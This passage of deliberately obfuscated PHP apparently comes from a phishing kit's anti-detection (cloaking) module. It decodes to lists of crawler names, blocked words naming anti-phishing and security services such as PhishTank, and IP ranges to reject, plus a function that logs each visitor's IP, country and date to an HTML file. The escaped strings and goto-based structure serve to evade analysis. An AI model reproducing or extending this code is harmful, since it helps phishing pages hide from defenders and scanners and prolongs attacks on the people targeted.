"\x6e\x65\164\x6d\145\143\x68\x61\x6e\x69\x63", "\x6e\x65\x74\x72\145\163\x65\141\x72\x63\150\163\145\x72\x76\145\162", "\x6e\x65\x74\x73\x63\157\157\x70", "\156\x65\167\163\143\141\156\55\x6f\156\x6c\151\156\145", "\156\x68\x73\x65", "\156\x6f\153\x69\x61\66\66\70\62\57", "\x6e\x6f\155\x61\x64", "\156\157\171\157\156\x61", "\156\165\164\143\x68", "\x6e\x7a\x65\x78\160\154\157\162\145\x72", "\157\142\152\x65\x63\164\163\x73\x65\x61\x72\x63\x68", "\157\x63\143\x61\x6d", "\x6f\155\x6e\151", "\157\160\145\x6e\x20\164\x65\x78\x74", "\x6f\x70\x65\156\x66\151\156\144", "\x6f\x70\x65\156\151\156\x74\145\x6c\154\151\147\x65\x6e\x63\x65\x64\x61\164\141", "\157\x72\142\40\163\145\141\162\x63\x68", "\x6f\x73\151\x73\x2d\x70\162\x6f\x6a\x65\143\164", "\x70\141\143\153\40\x72\141\x74", "\x70\x61\147\145\142\x6f\x79", "\160\141\147\x65\x62\x75\x6c\154", "\160\x61\x67\145\x5f\166\145\x72\x69\x66\151\x65\162", "\x70\x61\156\163\x63\151\x65\156\x74", "\x70\x61\162\x61\163\x69\164\x65", "\160\x61\162\164\156\x65\162\x73\x69\x74\x65", "\160\141\x74\162\151\143", "\x70\145\141\162\x2e", "\x70\x65\x67\x61\163\165\163", "\x70\x65\x72\x65\x67\162\x69\156\141\164\x6f\162", "\160\x67\x70\x20\153\145\x79\40\141\147\x65\156\164", "\x70\x68\141\156\x74\157\x6d", "\160\150\160\144\151\147", "\160\151\143\x6f\x73\145\x61\x72\x63\150", "\160\x69\x6c\164\x64\x6f\167\x6e\x6d\141\x6e", "\x70\x69\x6d\160\164\x72\141\151\x6e", "\160\151\156\x70\x6f\x69\156\x74", "\160\x69\157\156\145\145\162", "\x70\151\x72\x61\156\150\x61", "\x70\154\165\155\164\162\x65\x65\x77\x65\142\x61\x63\x63\x65\x73\163\157\162", "\160\x6f\147\157\x64\x61\x6b", "\x70\157\x69\162\x6f\x74", "\x70\157\x6d\x70\157\163", "\x70\x6f\160\x70\x65\154\x73\x64\157\x72\x66", "\x70\x6f\x70\160\151", "\x70\x6f\x70\165\x6c\x61\162\x20\151\x63\157\x6e\x6f\143\x6c\x61\163\x74", "\x70\x73\171\143\x68\x65\x63\x6c\x6f\x6e\x65", "\160\165\x62\x6c\151\163\x68\x65\x72", "\x70\171\x74\150\x6f\156", "\x72\141\155\142\x6c\x65\x72", "\162\x61\166\145\156\40\163\145\141\162\143\150", "\x72\x6f\x61\x63\150", "\162\x6f\141\144\x20\x72\165\156\156\x65\x72", "\x72\x6f\x61\x64\150\157\x75\163\145", "\x72\x6f\x62\142\x69\145", "\x72\157\142\x6f\146\x6f\170", "\162\157\142\x6f\x7a\151\154\x6c\141", "\162\165\x6c\x65\x73", "\163\141\x6c\164\x79", "\x73\x62\151\144\145\x72", "\163\143\x6f\157\164\145\x72", "\163\143\157\x75\164\152\x65\x74", "\163\x63\x72\165\142\142\x79", "\163\145\141\x72\x63\x68\56", "\163\145\141\162\143\150\x70\x72\157\143\145\163\x73", "\163\x65\x6d\141\x6e\x74\x69\x63\x64\151\163\x63\x6f\166\145\x72\171", "\163\145\x6e\x72\x69\x67\141\x6e", "\163\x67\x2d\163\143\157\165\164", "\163\x68\x61\x69\x27\x68\165\154\x75\144", "\163\150\141\x72\x6b", "\x73\x68\157\160\167\151\x6b\x69", "\163\x69\x64\x65\167\151\156\144\x65\x72", "\163\151\146\164", "\163\151\x6c\153", "\x73\x69\155\x6d\141\156\x79", "\163\151\x74\145\x20\163\x65\141\x72\143\150\145\x72", "\x73\x69\164\145\40\x76\x61\x6c\x65\164", "\163\151\164\145\164\x65\143\150\x2d\x72\157\166\x65\x72", "\163\x6b\171\x6d\x6f\x62\56\x63\157\x6d", "\x73\x6c\145\x65\x6b", "\163\155\141\162\164\167\151\x74", "\163\156\x61\x2d", "\163\x6e\x61\160\160\171", "\x73\156\x6f\157\160\x65\x72", "\x73\157\x68\x75", "\163\x70\145\145\x64\146\x69\x6e\x64", "\163\x70\x68\x65\162\145", "\x73\x70\x68\151\x64\x65\x72", "\163\160\151\156\156\145\162", "\x73\x70\171\144\145\x72", "\163\164\x65\x65\154\x65\x72\57", "\x73\x75\153\x65", "\x73\x75\x6e\164\x65\153", "\x73\165\x70\x65\x72\163\156\157\x6f\160\145\x72", "\163\165\162\x66\156\157\155\x6f\162\145", "\163\x76\x65\156", "\x73\171\147\157\x6c", "\x73\x7a\165\153\141\x63\172", "\164\141\x63\150\40\142\154\141\143\153\40\x77\151\144\157\167", "\164\x61\x72\141\x6e\164\x75\x6c\x61", "\164\x65\155\160\x6c\x65\164\x6f\x6e", "\57\164\145\157\155\141", "\x74\x2d\150\55\x75\x2d\156\x2d\x64\x2d\145\x2d\x72\x2d\x73\x2d\164\x2d\x6f\55\x6e\x2d\x65", "\164\150\x65\x6f\x70\x68\162\141\163\164\165\x73", "\164\x69\x74\x61\156", "\x74\151\164\x69\156", "\x74\153\x77\x77\167", "\164\157\165\x74\141\164\151\163", "\164\x2d\x72\x65\170", "\x74\165\164\157\162\x67\x69\x67", "\x74\167\x69\143\145\x6c\145\162", "\x74\167\151\163\x74\x65\x64", "\165\143\163\x64", "\165\144\x6d\163\145\141\x72\x63\150", "\165\162\154\x20\143\x68\145\x63\153", "\x75\x70\x64\x61\164\x65\144", "\x76\x61\x67\141\142\157\x6e\x64\157", "\166\141\154\x6b\171\162\151\145", "\166\x65\x72\x74\x69\x63\162\141\167\x6c", "\166\x69\x63\164\157\162\151\141", "\166\151\163\x69\x6f\156\x2d\x73\x65\x61\x72\x63\x68", "\x76\x6f\154\143\x61\156\x6f", "\x76\157\x79\141\x67\145\x72\57", "\x76\x6f\171\141\147\x65\162\55\x68\143", "\167\x33\143\137\166\141\154\x69\x64\x61\x74\157\162", "\x77\63\155\x32", "\x77\x33\x6d\x69\162", "\x77\x61\154\153\145\x72", "\x77\x61\154\x6c\160\x61\160\x65\162", "\167\141\156\144\x65\162\145\162", "\167\x61\x75\165\x75", "\x77\141\166\x65\146\151\162\145", "\x77\x65\142\40\x63\157\x72\145", "\167\145\142\x20\x68\x6f\x70\x70\145\162", "\x77\145\x62\40\167\x6f\155\x62\x61\164", "\x77\x65\x62\142\x61\x6e\144\x69\x74", "\x77\x65\x62\143\x61\x74\x63\150\145\162", "\x77\145\142\143\x6f\x70\171", "\167\145\142\x66\157\157\164", "\167\145\142\154\x61\x79\x65\162\163", "\167\145\142\x6c\151\156\x6b\x65\x72", "\167\145\142\x6c\157\147\40\155\157\156\x69\x74\x6f\x72", "\x77\x65\x62\155\x69\x72\x72\x6f\162", "\x77\x65\142\x6d\x6f\x6e\x6b\145\x79", "\167\145\x62\161\x75\x65\x73\x74", "\167\x65\x62\x72\x65\x61\x70\145\x72", "\167\145\142\163\x69\164\145\x70\x75\154\163\145", "\x77\x65\142\163\156\x61\162\x66", "\x77\145\x62\x73\x74\157\154\160\145\162\x65\x72", "\167\x65\x62\x76\141\143", "\167\x65\x62\167\x61\x6c\153", "\x77\x65\x62\x77\141\x74\143\150", "\167\x65\x62\167\x6f\x6d\x62\x61\x74", "\x77\x65\142\x7a\x69\x6e\147\x65\162", "\167\147\x65\x74", "\167\150\x69\172\142\x61\x6e\x67", "\x77\x68\157\x77\x68\145\x72\145", "\167\151\x6c\x64\x20\146\145\162\162\x65\x74", "\x77\x6f\162\154\144\x6c\x69\147\150\164", "\167\167\167\143", "\x77\x77\x77\163\x74\x65\x72", "\170\x65\x6e\165", "\170\147\145\x74", "\170\151\x66\x74", "\170\x69\x72\161", "\171\141\x6e\x64\x65\x78", "\171\141\156\x67\141", "\x79\x65\x74\x69", "\171\157\x64\141\x6f", "\172\141\157\x2f", "\172\151\160\160\x70", "\172\x79\142\x6f\x72\147"); goto Vof2J; ML9Di: $ips = "\56\x2f\151\x70\x73\56\164\170\x74"; goto TehMF; Bqy66: function visitors($detection) { global $ip_infos; $ip = $ip_infos["\x71\165\145\162\x79"]; $date = date("\x59\x2d\155\55\144\40\x48\x3a\151\72\x73", time()); $country = $ip_infos["\x63\157\x75\156\x74\x72\171"]; $str = "\x20\x3c\164\x72\76\74\x74\150\x20\x73\143\x6f\x70\x65\75\x27\162\157\x77\x27\x3e{$ip}\40\50{$country}\x29\74\57\x74\x68\x3e\74\164\x64\x3e{$date}\x3c\x2f\164\144\76\74\x74\x64\76{$detection}\x3c\x2f\164\144\76\74\x2f\x74\x72\x3e"; file_put_contents("\166\x69\163\x69\164\157\162\163\56\150\x74\x6d\x6c", $str, FILE_APPEND | LOCK_EX); } goto lOQ3i; gVoid: $blocked_words = array("\142\x6f\164", "\x6f\x76\x68", "\x4d\157\162\157\143\143\157", "\x70\150\151\x73\150\x6d\157\x6e\x67\145\162\x73", "\x61\142\x6f\x76\145", "\164\x68\151\156\x69\156\163\x2e\x6e\x65\x74", "\141\154\x70\150\141\154\x69\x6e\153", "\x69\160\166\141\156\151\163\x68", "\157\x70\x65\156\144\x6e\x73", "\153\141\163\x73\x65\162\x76\x65\x72", "\147\x61\x6e\x64\x69", "\143\157\154\x74\146\162\x61\x6e\x63\145", "\x61\x63\143\x65\x6c\x61\156\x63\145", "\x6a\157\165\x76\x65\x2d\150\144\x69", "\141\153\141\155\x61\151\x74\x65\x63\150\156\157\x6c\x6f\x67\151\145\x73", "\147\x68\163\x74", "\144\x69\154\x61", "\164\x70\156\x65\164", "\x69\x73\151\x74\160\150\151\x73\150\151\x6e\147", "\160\150\x69\163\x68\x69\x6e\x67\x2d\151\156\151\x74\x69\141\x74\151\x76\145", "\x71\x77\x61\156\164", "\155\x61\x69\154", "\x65\x75\162\x6f\x70\141\x73\163\x69\163\x74\x61\x6e\143\x65", "\167\x65\142\x6d\x61\x69\x6c", "\x63\154\x6f\165\x64", "\x73\x63\x61\x6c\x65\167\141\171", "\141\162\x75\x62\x61\143\x6c\x6f\x75\144", "\x61\x72\x75\142\x61", "\x61\x76\x72\141\156\143\150\145\163", "\143\x6f\154\x74\x66\x72\x61\156\143\x65", "\x67\x6f\157\x67\154\145", "\x73\157\x66\x74\x6c\x61\171\x65\x72", "\141\x6d\141\172\x6f\156\x61\167\x73", "\x63\x79\166\x65\151\154\154\x61\156\143\x65", "\160\150\x69\x73\x68\164\141\156\153", "\x64\162\x65\141\155\150\x6f\163\164", "\156\x65\x74\160\151\154\157\x74", "\143\x61\x6c\x79\x78\151\156\x73\x74\x69\164\x75\x74\145", "\164\157\x72\x2d\x65\170\151\164", "\x61\x70\x61\143\150\145\55\x68\x74\x74\160\143\154\x69\145\156\164", "\x6c\x73\x73\x72\157\143\x6b\145\164\143\162\x61\x77\x6c\145\x72", "\x63\x72\141\167\154\x65\x72", "\x75\x72\x6c\x72\x65\x64\x69\162\x65\143\164\162\x65\163\x6f\154\166\x65\162", "\x6a\x65\x74\x62\162\x61\151\156\x73", "\163\x70\x61\155", "\x77\151\156\x64\157\167\163\x20\71\65", "\167\151\x6e\x64\157\167\x73\x20\71\70", "\x61\143\165\156\x65\x74\151\x78", "\156\145\164\x73\160\x61\x72\x6b\145\162", "\60\60\x37\x61\x63\x39", "\x30\60\x38", "\61\x39\62\56\x63\157\155\141\x67\x65\x6e\x74", "\x32\60\x30\160\x6c\145\141\x73\x65\x62\157\x74", "\x33\66\x30\163\160\151\x64\145\x72", "\x34\163\x65\x6f\150\x75\x6e\164\142\x6f\x74", "\x35\x30\56\156\x75", "\x61\x36\55\x69\156\x64\145\x78\x65\162", "\141\144\x6d\141\156\164\170", "\x61\x6d\x7a\156\x6b\141\163\163\x6f\x63\x62\157\x74", "\x61\x62\x6f\x75\x6e\x64\145\170\142\x6f\164", "\x61\x62\157\x75\164\165\x73\142\x6f\164", "\x61\x62\x72\141\x76\145\40\163\160\151\x64\145\162", "\141\x63\x63\145\154\157\142\157\x74", "\141\143\x6f\157\156\142\x6f\x74", "\x61\144\x64\164\x68\151\x73\x2e\143\x6f\x6d", "\141\x64\x73\x62\x6f\164\x2d\147\157\x6f\x67\154\x65", "\x61\150\162\145\x66\163\142\157\164", "\141\x6c\145\170\x61\142\157\x74", "\x61\x6d\x61\x67\x69\164\56\x63\x6f\155", "\141\156\141\154\171\x74\151\143\x73", "\x61\156\164\142\x6f\164", "\x61\x70\145\x72\143\151\x74\145", "\141\160\x6f\162\x74\167\157\x72\155", "\105\x42\x41\131", "\103\x4c\60\116\101", "\x6a\141\142\x62\x65\x72", "\x65\142\x61\x79", "\141\x72\141\142\x6f\164", "\150\x6f\x74\x6d\141\151\154\41", "\x6d\x73\156\x21", "\157\165\x74\154\157\x6f\x6b\x21", "\157\165\x74\x6c\157\157\153", "\x6d\x73\x6e", "\x68\157\164\155\x61\x69\154"); goto kIz3l; ompla: $ips = array("\136\64\x30\56\x31\x30\67\x2e\x2a\x2e\x2a", "\x5e\x34\60\56\x31\x30\67\x2e\62\60\66\56\x2a", "\136\61\x39\x35\56\x32\61\64\x2e\x2a\56\52", "\x5e\x31\71\61\56\x39\66\56\61\x32\x2e\x2a", "\136\61\71\x34\x2e\x39\x39\x2e\61\x30\x34\56\x2a", "\136\x39\x31\56\x31\x30\63\x2e\52\56\x2a", "\x5e\x36\x39\56\61\x36\64\x2e\52\56\x2a", "\x5e\61\x39\64\x2e\x35\71\56\x2a\x2e\x2a", "\x5e\x31\x39\64\x2e\65\71\x2e\62\x35\x31\x2e\x2a", "\x5e\x32\x30\x36\x2e\62\x30\66\56\x2a\x2e\x2a", "\x5e\x31\60\x2e\x2a\x2e\52\x2e\x2a", "\x5e\61\71\65\x2e\61\x34\x31\56\x2a\56\52", "\x5e\67\x37\56\x36\x37\x2e\52\x2e\52", "\x5e\67\67\56\x36\67\56\65\64\56\x2a", "\x5e\x34\60\56\61\x30\67\x2e\52\x2e\x2a", "\x5e\x36\x35\56\x31\x35\x34\x2e\62\62\66\56\52", "\136\64\x30\x2e\x31\60\67\x2e\62\x30\x36\x2e\x2a", "\136\62\x30\x38\56\71\x31\56\x31\x39\x37\x2e\x2a", "\136\70\62\56\61\60\62\56\x32\62\x2e\x2a", "\x5e\61\70\x35\x2e\67\67\56\x32\x34\70\x2e\x2a", "\x5e\64\x30\x2e\61\60\x37\x2e\62\60\60\56\52", "\x5e\x31\x39\x33\56\x33\x37\x2e\62\65\x33\56\x2a", "\136\x34\60\x2e\52\x2e\52\56\x2a", "\136\66\66\x2e\61\x30\62\x2e\x2a\x2e\52", "\x5e\63\70\x2e\61\60\x30\x2e\x2a\56\52", "\x5e\61\60\x37\56\x31\67\x30\56\52\x2e\x2a", "\136\61\64\71\56\x32\x30\56\52\56\x2a", "\x5e\63\70\56\61\x30\x35\56\x2a\56\52", "\x5e\67\x34\x2e\61\62\x35\x2e\x2a\x2e\52", "\x5e\66\x36\x2e\x31\65\60\x2e\61\x34\56\52", "\136\65\x34\x2e\x31\67\x36\x2e\x2a\x2e\x2a", "\x5e\63\70\x2e\x31\60\60\x2e\x2a\x2e\x2a", "\136\61\70\x34\x2e\61\67\63\56\x2a\56\x2a", "\136\66\66\56\x32\x34\71\56\x2a\56\x2a", "\x5e\61\x32\x38\x2e\x32\x34\x32\56\52\56\x2a", "\x5e\x37\62\x2e\x31\64\56\x31\x39\x32\x2e\52", "\x5e\x32\60\70\56\x36\65\x2e\61\64\64\56\x2a", "\136\67\64\x2e\61\62\x35\56\52\56\x2a", "\136\x32\x30\71\x2e\x38\65\56\x31\62\70\56\x2a", "\136\x32\x31\66\56\62\x33\71\x2e\x33\62\56\52", "\x5e\67\64\x2e\x31\62\x35\x2e\x2a\x2e\x2a", "\x5e\x32\60\x37\56\x31\x32\x36\x2e\x31\64\64\56\x2a", "\136\61\67\63\56\x31\x39\x34\56\52\56\x2a", "\136\x36\64\56\62\x33\x33\56\x31\66\60\x2e\x2a", "\136\x37\62\x2e\x31\64\56\x31\71\x32\56\x2a", "\x5e\x36\x36\x2e\x31\60\x32\56\52\56\52", "\x5e\x36\64\x2e\x31\x38\x2e\x2a\56\x2a", "\136\x31\71\64\56\x35\x32\x2e\x36\x38\56\x2a", "\x5e\61\x39\64\x2e\x37\62\56\62\x33\70\x2e\52", "\136\x36\62\56\61\x31\x36\56\62\x30\67\56\52", "\x5e\x32\x31\62\56\65\60\x2e\61\x39\63\56\x2a", "\136\x36\x39\56\66\x35\56\x2a\x2e\52", "\136\x35\60\x2e\67\x2e\x2a\56\x2a", "\x5e\61\63\x31\x2e\x32\x31\x32\56\x2a\x2e\x2a", "\136\64\x36\x2e\x31\x31\x36\56\x2a\x2e\x2a\x20", "\136\66\62\56\x39\60\56\x2a\56\x2a", "\136\x38\71\56\x31\x33\70\56\52\56\x2a", "\136\x38\x32\56\x31\66\x36\56\x2a\56\52", "\x5e\x38\x35\56\x36\x34\x2e\x2a\56\52", "\136\70\x35\56\x32\x35\x30\56\x2a\56\x2a", "\x5e\x38\71\56\61\63\x38\x2e\52\x2e\52", "\136\x39\63\56\61\67\x32\56\x2a\x2e\x2a", "\136\61\60\x39\x2e\x31\70\66\x2e\52\x2e\x2a", "\x5e\x31\x39\64\x2e\71\60\56\52\x2e\52", "\136\x32\61\x32\56\x32\x39\x2e\x31\71\62\56\52", "\136\62\x31\62\56\x32\71\56\x32\62\64\x2e\x2a", "\x5e\x32\x31\62\x2e\61\64\63\56\x2a\56\x2a", "\x5e\62\61\62\x2e\x31\65\x30\x2e\x2a\56\52", "\x5e\62\x31\x32\56\62\x33\65\56\52\x2e\x2a", "\x5e\62\x31\x37\56\61\63\62\56\52\x2e\52", "\x5e\x35\x30\56\x39\x37\x2e\x2a\x2e\52", "\x5e\x32\61\67\56\61\x33\62\x2e\x2a\x2e\x2a", "\136\62\x30\71\56\70\65\x2e\52\56\52", "\136\66\66\56\x32\x30\x35\x2e\x36\x34\56\52", "\136\62\60\x34\x2e\61\x34\x2e\x34\x38\x2e\52", "\x5e\x36\64\56\x32\x37\x2e\62\56\x2a", "\136\66\x37\x2e\61\x35\x2e\x2a\x2e\52", "\136\x32\60\62\x2e\61\x30\x38\56\62\x35\x32\56\x2a", "\x5e\61\x39\63\56\x34\x37\x2e\x38\60\x2e\52", "\x5e\x36\x34\x2e\x36\x32\56\x31\x33\x36\x2e\52", "\x5e\66\x36\x2e\62\x32\61\x2e\52\56\52", "\x5e\66\x34\56\x36\x32\56\x31\x37\x35\56\x2a", "\x5e\61\71\70\x2e\65\64\56\x2a\x2e\x2a", "\x5e\x31\x39\x32\56\x31\x31\x35\x2e\61\x33\x34\56\x2a", "\136\62\x31\x36\x2e\x32\65\x32\56\x31\x36\x37\x2e\x2a", "\136\x31\x39\63\x2e\x32\x35\x33\56\61\x39\71\x2e\x2a", "\x5e\x36\71\56\x36\61\x2e\x31\x32\56\52", "\136\66\x34\x2e\x33\x37\x2e\x31\60\x33\56\x2a", "\x5e\63\70\56\x31\x34\64\x2e\63\66\56\52", "\x5e\x36\64\56\x31\x32\x34\x2e\x31\x34\56\52", "\x5e\62\60\x36\56\x32\x38\x2e\67\x32\56\52", "\x5e\62\x30\71\56\67\x33\x2e\x32\62\x38\x2e\52", "\136\61\65\x38\56\x31\x30\70\x2e\x2a\x2e\x2a", "\x5e\61\66\70\x2e\61\70\70\x2e\x2a\56\52", "\136\x36\66\56\x32\x30\x37\56\61\62\x30\56\x2a", "\136\x31\66\x37\x2e\x32\x34\x2e\x2a\56\52", "\136\x31\x39\x32\56\61\61\x38\56\64\x38\x2e\52", "\x5e\66\67\56\62\x30\71\56\61\x32\x38\56\x2a", "\x5e\x31\x32\56\x31\x34\70\x2e\x32\60\71\56\52", "\x5e\61\x32\56\61\x34\70\x2e\x31\71\66\56\x2a", "\x5e\61\x39\x33\x2e\62\62\60\x2e\x31\x37\70\56\x2a", "\x36\70\56\x36\x35\x2e\x35\63\56\x37\x31", "\x5e\61\71\x38\56\x32\x35\56\x2a\x2e\x2a", "\136\66\x34\56\61\x30\x36\x2e\x32\x31\x33\x2e\52", "\x5e\71\64\x2e\x32\x36\x2e\52\56\x2a", "\136\71\x35\x2e\x38\65\x2e\52\56\52", "\x5e\x37\62\56\65\62\56\x39\x36\56\x2a", "\x5e\62\61\x32\56\x38\56\x37\71\56\52", "\136\66\x32\56\71\x39\56\67\67\56\52", "\x5e\x38\63\x2e\63\61\56\61\x31\x38\56\x2a", "\x5e\x39\61\x2e\x32\63\x31\x2e\52\x2e\52", "\136\62\x30\x36\56\x32\x30\67\56\x2a\56\x2a", "\136\x39\61\x2e\62\63\x31\56\x32\61\x32\x2e\52", "\x5e\x36\x32\56\x39\x39\56\67\x37\56\52", "\136\61\71\70\56\64\x31\56\x32\64\63\x2e\52", "\x5e\x31\x36\x32\56\x31\x35\x38\x2e\52\x2e\x2a", "\x5e\x31\66\x32\x2e\61\x35\70\x2e\67\x2e\x2a", "\136\61\66\x32\x2e\x31\x35\70\x2e\67\x32\x2e\52", "\136\x31\67\x33\x2e\62\64\65\x2e\x35\65\56\x2a", "\x5e\x31\60\x38\56\x31\x36\62\56\x32\64\x36\56\x2a", "\x5e\x31\66\x32\x2e\x31\65\70\x2e\x39\x35\x2e\52", "\136\61\60\70\x2e\61\66\x32\x2e\62\x31\65\56\x2a", "\x5e\71\x35\56\61\60\x38\56\x31\71\64\56\52", "\136\61\64\x31\x2e\x31\x30\x31\56\x31\x30\x34\56\52", "\136\x39\63\x2e\65\x34\56\70\x32\56\52", "\136\x36\x39\x2e\x31\x36\64\56\61\64\x35\x2e\x2a", "\x5e\61\x39\x34\56\x31\65\x33\x2e\61\61\63\56\x2a", "\x5e\61\67\70\56\64\x33\56\x31\61\67\x2e\x2a", "\136\66\x32\56\x31\64\61\56\x36\65\56\x2a", "\x5e\70\x33\56\63\61\x2e\66\71\56\52", "\x5e\x31\x30\67\56\x31\x37\x38\x2e\x31\x39\x35\x2e\x2a", "\x5e\61\64\71\56\x32\x30\56\65\x34\x2e\52", "\136\70\x35\x2e\71\56\67\x2e\52", "\136\70\x37\x2e\61\60\x36\56\x32\65\x31\x2e\x2a", "\x5e\x31\60\x37\x2e\61\67\x38\x2e\61\71\x34\56\x2a", "\136\61\x32\64\x2e\x36\66\x2e\61\70\x35\x2e\x2a", "\x5e\61\x33\x33\x2e\x31\61\x2e\62\60\64\56\52", "\x5e\61\x38\65\x2e\x32\56\x31\x33\70\x2e\x2a", "\x5e\x31\70\x38\x2e\x31\x36\65\x2e\x38\63\x2e\52", "\x5e\x37\x38\56\x31\64\70\56\x31\63\56\52", "\136\61\x39\x32\56\62\63\62\x2e\x32\61\x33\56\x2a", "\136\x31\56\62\x33\64\56\x34\61\56\52", "\136\x31\62\64\56\66\66\x2e\x31\x38\65\x2e\52", "\x5e\x38\67\x2e\x31\x30\66\x2e\x32\65\61\x2e\52", "\136\61\x37\66\x2e\61\x39\65\x2e\62\63\61\x2e\52", "\x5e\62\60\x36\x2e\62\65\63\x2e\62\x32\x36\x2e\52", "\x5e\x31\60\67\x2e\62\x30\56\61\70\61\56\x2a", "\136\61\70\x38\56\x32\64\64\56\x33\71\56\x2a", "\136\x31\x32\64\x2e\66\66\56\61\70\65\56\52", "\136\63\70\56\x37\x34\x2e\61\x33\x38\x2e\x2a", "\x5e\61\x32\x34\56\x36\66\x2e\61\70\65\56\52", "\136\63\x38\x2e\x37\64\56\x31\x33\70\x2e\52", "\136\62\60\66\x2e\62\x35\x33\56\x32\x32\x36\56\52", "\136\61\x2e\62\63\64\56\x34\x31\56\x2a", "\x5e\x31\62\x34\56\x36\x36\56\61\x38\65\56\x2a", "\136\x38\67\56\61\60\x36\56\62\x35\61\56\52", "\x5e\x38\x35\x2e\x39\x2e\x37\x2e\x2a", "\x5e\63\x37\x2e\x31\x34\60\56\x31\70\70\x2e\52", "\x5e\61\71\65\56\x31\x32\x38\x2e\62\62\x37\56\52", "\136\x33\x38\56\x37\64\x2e\61\x33\70\x2e\x2a", "\136\61\60\x37\56\62\60\x2e\x31\x38\61\56\52", "\136\61\60\x34\56\x31\63\x31\56\x32\62\x33\56\x2a", "\136\x34\x36\x2e\x34\x2e\x31\x32\x30\x2e\x2a", "\136\x31\60\67\56\61\x37\70\56\x31\x39\x34\56\x2a", "\x5e\61\x39\70\56\66\60\x2e\62\x33\66\56\52", "\136\62\61\67\56\x37\x34\x2e\61\60\x33\x2e\x2a", "\136\x39\62\56\61\x30\63\56\x36\x39\56\52", "\x5e\x32\61\x37\56\x37\64\56\61\60\x33\x2e\x2a", "\136\66\66\x2e\62\x31\61\x2e\x31\66\x30\56\x38\x36\52", "\136\64\66\56\62\x34\64\56\52\x2e\x2a", "\x5e\61\63\61\56\x2a\56\52\56\x2a", "\136\61\65\67\x2e\52\x2e\52\56\52", "\x5e\62\x30\x32\x2e\52\56\x2a\x2e\x2a", "\x5e\x32\x30\64\56\x2a\x2e\52\56\x2a", "\x5e\62\60\67\56\52\56\x2a\56\52", "\136\x32\x31\x33\56\52\56\52\x2e\x2a", "\136\x32\61\x39\56\52\56\52\56\52", "\x5e\x36\x33\x2e\52\x2e\x2a\56\52", "\x5e\x36\64\56\x2a\x2e\52\x2e\52", "\136\66\65\x2e\52\56\52\56\x2a", "\136\x36\70\56\52\x2e\52\56\x2a", "\x5e\x36\64\56\x2a\56\52\x2e\x2a", "\x5e\x36\64\56\x32\x33\x33\x2e\61\x36\x30\x2e\x2a", "\x5e\x36\64\x2e\62\x33\x33\x2e\x31\x39\61\56\52", "\x5e\x36\x34\x2e\x32\63\63\56\x31\71\61\x2e\62\65\x35\52", "\x5e\66\66\56\61\60\62\x2e\52\x2e\x2a", "\x5e\x36\66\x2e\62\x34\71\56\x2a\56\x2a", "\136\67\x32\56\x31\x34\56\52\x2e\x2a", "\136\x37\64\56\x31\62\65\56\x2a\56\x2a", "\136\x32\x30\x39\x2e\70\65\56\x2a\56\x2a", "\x5e\62\x31\x36\56\x32\x33\x39\56\x2a\56\x2a", "\x5e\x36\x34\56\x34\x2e\x2a\x2e\x2a", "\136\x36\x35\x2e\65\62\x2e\x2a\56\x2a", "\x5e\61\x33\61\x2e\62\65\63\56\52\x2e\52", "\136\61\x35\x37\56\x35\64\56\52\56\x2a", "\136\x32\60\x37\x2e\64\x36\56\x2a\56\52", "\x5e\x32\x30\67\56\66\70\56\52\x2e\x2a", "\136\70\x2e\61\62\x2e\52\56\52", "\x5e\66\x36\56\x31\71\x36\56\52\56\x2a", "\x5e\66\x36\x2e\62\62\x38\x2e\52\56\x2a", "\136\x36\67\x2e\x31\x39\x35\56\52\x2e\x2a", "\x5e\66\70\x2e\61\x34\62\x2e\52\x2e\52", "\136\x37\62\x2e\x33\x30\x2e\52\x2e\x2a", "\x5e\x37\x34\x2e\x36\x2e\x2a\56\x2a", "\x5e\x39\70\56\x31\63\x36\56\x2a\x2e\52", "\x5e\62\60\x32\x2e\61\66\x30\56\52\x2e\52", "\x5e\x32\60\x39\56\61\x39\x31\56\x2a\56\x2a", "\x5e\66\66\x2e\61\x30\62\56\x2a\56\x2a", "\136\63\x38\x2e\61\60\60\56\52\56\x2a", "\x5e\x31\60\x37\x2e\x31\67\60\56\x2a\56\x2a", "\x5e\x31\x34\x39\56\62\x30\56\x2a\56\x2a", "\x5e\x33\x38\x2e\61\60\x35\56\52\56\x2a", "\136\x37\x34\56\61\62\x35\56\x2a\56\52", "\136\66\66\x2e\61\65\x30\x2e\x31\64\x2e\52", "\136\65\x34\56\x31\67\66\56\52\x2e\x2a", "\136\x33\70\x2e\x31\60\60\56\x2a\56\52", "\x5e\61\x38\64\56\61\67\x33\56\52\x2e\52", "\136\66\66\56\62\64\71\x2e\x2a\x2e\52", "\x5e\61\62\70\x2e\x32\x34\x32\x2e\52\56\x2a", "\x5e\67\x32\56\61\x34\x2e\x31\71\62\56\52", "\x5e\x32\x30\x38\56\66\65\x2e\61\x34\64\x2e\x2a", "\136\67\64\56\61\x32\65\x2e\x2a\x2e\x2a", "\136\62\x30\x39\56\x38\65\x2e\x31\62\x38\56\x2a", "\x5e\x32\x31\x36\56\62\63\x39\x2e\x33\62\x2e\52", "\x5e\67\x34\x2e\x31\62\65\56\52\x2e\52", "\136\62\x30\x37\56\x31\62\66\x2e\x31\x34\x34\56\52", "\x5e\61\67\63\56\x31\x39\x34\56\x2a\x2e\52", "\x5e\x36\x34\x2e\x32\63\63\56\x31\66\60\56\52", "\136\67\x32\x2e\x31\x34\x2e\61\71\x32\56\x2a", "\x5e\x36\66\56\61\x30\x32\56\x2a\56\52", "\x5e\x36\64\x2e\x31\70\56\x2a\x2e\52", "\136\61\71\x34\x2e\65\62\56\x36\x38\56\52", "\136\x31\71\64\56\x37\62\x2e\62\63\x38\x2e\x2a", "\x5e\66\62\x2e\x31\x31\x36\x2e\62\60\67\56\x2a", "\x5e\62\61\62\56\x35\60\x2e\x31\x39\x33\x2e\x2a", "\136\x36\71\x2e\x36\x35\x2e\52\x2e\x2a", "\136\65\x30\x2e\67\x2e\52\56\52", "\x5e\x31\x33\x31\56\x32\61\x32\56\x2a\x2e\x2a", "\136\64\x36\x2e\x31\61\x36\x2e\x2a\x2e\x2a\40", "\x5e\x36\62\x2e\x39\60\56\52\56\x2a", "\136\x38\71\56\61\63\x38\x2e\52\56\x2a", "\136\x38\62\56\61\x36\66\x2e\x2a\x2e\52", "\136\x38\x35\56\66\64\x2e\52\x2e\52", "\136\x38\65\56\x32\65\60\x2e\52\x2e\x2a", "\x5e\70\71\56\61\63\x38\x2e\x2a\x2e\x2a", "\x5e\x39\63\x2e\x31\x37\x32\56\x2a\x2e\52", "\136\x31\x30\x39\56\x31\x38\66\x2e\52\x2e\52", "\136\61\71\64\56\x39\x30\x2e\52\56\x2a", 